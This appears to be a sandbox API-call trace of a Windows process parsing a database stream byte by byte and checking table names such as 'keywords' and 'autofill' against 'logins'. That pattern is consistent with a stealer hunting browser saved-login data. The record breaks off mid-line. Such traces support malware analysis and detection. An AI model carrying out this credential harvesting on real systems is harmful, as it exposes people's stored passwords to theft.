[0079.181] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x648d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.182] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x2da, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x2da) returned 0x0 [0079.182] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x2da, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x2da) returned 0x0 [0079.182] LocalFree (hMem=0x655310) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.182] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.182] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.182] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.182] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.182] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.183] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.183] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.183] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x8b, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.183] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.183] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.183] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.183] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.184] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.184] LocalFree (hMem=0x6687b0) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.184] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x6b, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x664350 [0079.184] LocalFree (hMem=0x6687b0) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.184] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x6b, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x665780 [0079.184] LocalFree (hMem=0x6687b0) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.184] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x4, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664480 [0079.184] LocalAlloc (uFlags=0x40, uBytes=0x33d) returned 0x6522a8 [0079.184] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.185] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6522a8, cb=0x2bd, pcbRead=0x12f8f8 | out: pv=0x6522a8*=0x43, pcbRead=0x12f8f8*=0x2bd) returned 0x0 [0079.185] LocalAlloc (uFlags=0x40, uBytes=0x345) returned 0x655310 [0079.185] LocalFree (hMem=0x6522a8) returned 0x0 [0079.185] LocalFree (hMem=0x670c38) returned 0x0 [0079.185] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.185] lstrcmpiA (lpString1="keywords", lpString2="logins") returned -1 [0079.185] LocalFree (hMem=0x6643e8) returned 0x0 [0079.185] LocalFree (hMem=0x664350) returned 0x0 [0079.185] LocalFree (hMem=0x665780) returned 0x0 [0079.185] LocalFree (hMem=0x664480) returned 0x0 [0079.185] LocalFree (hMem=0x655310) returned 0x0 [0079.185] LocalFree (hMem=0x670d78) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x637b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x637b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.185] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x81, pcbRead=0x12f928*=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x637c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.185] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x5b, pcbRead=0x12f928*=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.185] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.186] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x637d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.186] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x4, pcbRead=0x12f928*=0x1) returned 0x0 [0079.186] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.186] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.186] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x637e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.189] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0xdb, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0xdb) returned 0x0 [0079.189] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0xdb, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0xdb) returned 0x0 [0079.189] LocalFree (hMem=0x655310) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.189] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.189] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670d78 [0079.189] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.190] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.190] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.190] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1d, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.190] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.190] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.191] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x83, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.191] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x9, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.191] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664480 [0079.191] LocalFree (hMem=0x6687b0) returned 0x0 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.191] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x61, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x665780 [0079.191] LocalFree (hMem=0x6687b0) returned 0x0 [0079.191] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.191] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.192] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x61, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.192] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x664350 [0079.192] LocalFree (hMem=0x6687b0) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.192] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x5, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.192] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.192] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6506d8 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.192] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6506d8, cb=0xbe, pcbRead=0x12f8f8 | out: pv=0x6506d8*=0x43, pcbRead=0x12f8f8*=0xbe) returned 0x0 [0079.192] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x677388 [0079.192] LocalFree (hMem=0x6506d8) returned 0x0 [0079.192] LocalFree (hMem=0x670d78) returned 0x0 [0079.192] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.192] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0079.192] LocalFree (hMem=0x664480) returned 0x0 [0079.192] LocalFree (hMem=0x665780) returned 0x0 [0079.192] LocalFree (hMem=0x664350) returned 0x0 [0079.192] LocalFree (hMem=0x6643e8) returned 0x0 [0079.192] LocalFree (hMem=0x677388) returned 0x0 [0079.192] LocalFree (hMem=0x670c38) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6459, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.192] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6459, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.193] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x2f, pcbRead=0x12f928*=0x1) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x645a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.193] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x5, pcbRead=0x12f928*=0x1) returned 0x0 [0079.193] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.193] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x645b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.193] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x2f, pcbRead=0x12f938 | out: pv=0x655310*=0x6, pcbRead=0x12f938*=0x2f) returned 0x0 [0079.193] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x2f, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x2f) returned 0x0 [0079.193] LocalFree (hMem=0x655310) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.193] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.194] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x6, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.194] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.194] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, 